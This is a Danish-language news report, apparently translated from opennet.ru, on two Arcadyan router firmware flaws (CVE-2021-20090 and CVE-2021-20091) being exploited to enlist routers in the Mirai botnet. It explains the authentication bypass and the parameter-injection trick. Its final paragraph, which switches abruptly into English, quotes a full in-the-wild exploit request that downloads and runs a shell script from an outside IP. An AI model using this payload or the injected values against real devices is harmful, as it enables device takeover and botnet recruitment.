Der er registreret et massiv angreb på hjemme-routere, hvis firmware bruger en HTTP-server-implementering fra Arcadyan. Angrebet udnytter en kombination af to sårbarheder, der muliggør fjernudførelse af vilkårlig kode med root-rettigheder. Problemet berører et bredt udvalg af ADSL-routere fra Arcadyan, ASUS, og Buffalo, samt enheder leveret under mærkerne Beeline (problem bekræftet i Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone og andre telecomoperatører. Det bemærkes, at problemet har været til stede i Arcadyans firmware i over 10 år og har gennemgået mindst 20 enhedsmodeller fra 17 forskellige producenter.
Den første sårbarhed CVE-2021-20090 giver mulighed for at tilgå enhver web-interface-script uden at skulle autentificere sig. Problemet med sårbarheden er, at visse mapper i web-interfacet, der leverer billeder, CSS-filer og JavaScript-scripts, er tilgængelige uden autentificering. Kontrollen af mapper, der er tilladt uden autentificering, udføres ved hjælp af et indledende mønster. Angivelse af tegnene "..\/" i stierne for at gå til overordnede mapper blokeres af firmwaren, men brug af kombinationen ".." går igennem. Dermed er der mulighed for at åbne beskyttede sider ved at sende forespørgsler som "http:\/\/192.168.1.1\/images\/..index.htm".
Den anden sårbarhed CVE-2021-20091 tillader en autentificeret bruger at ændre systemindstillingerne på enheden ved at sende specielt formaterede parametre til skriptet apply_abstract.cgi, som ikke kontrollerer for tilstedeværelsen af et linjeskift-tegn i parametrene. For eksempel kan en angriber, når der udføres en ping-operation, angive værdien "192.168.1.2ARC_SYS_TelnetdEnable=1" i feltet for den kontrollerede IP-adresse, og skriptet vil i processen med at oprette filen med indstillingerne \/tmp\/etc\/config\/.glbcfg skrive linjen "AARC_SYS_TelnetdEnable=1", som aktiverer server telnetd, der giver ubegribset adgang til kommandolinjen med root-rettigheder. På samme måde kan man ved at indstille parametret AARC_SYS udføre enhver kode på systemet. Den første sårbarhed giver mulighed for at køre det problematiske skript uden autentificering ved at henvise til det som "\/images\/..apply_abstract.cgi."
For exploiting vulnerabilities, an attacker must be able to send a request to the network port where the web interface is running. Judging by the dynamics of the attack's spread, many operators leave their devices accessible from the external network to simplify problem diagnosis for support services. With access to the interface limited only to the internal network, an attack can be executed from the external network using 'DNS rebinding' techniques. Vulnerabilities are already actively being used to connect routers to the Mirai botnet: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+\/tmp; wget+http:\/\/212.192.241.72\/lolol.sh; curl+-O+http:\/\/212.192.241.72\/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Kilde: opennet.ru
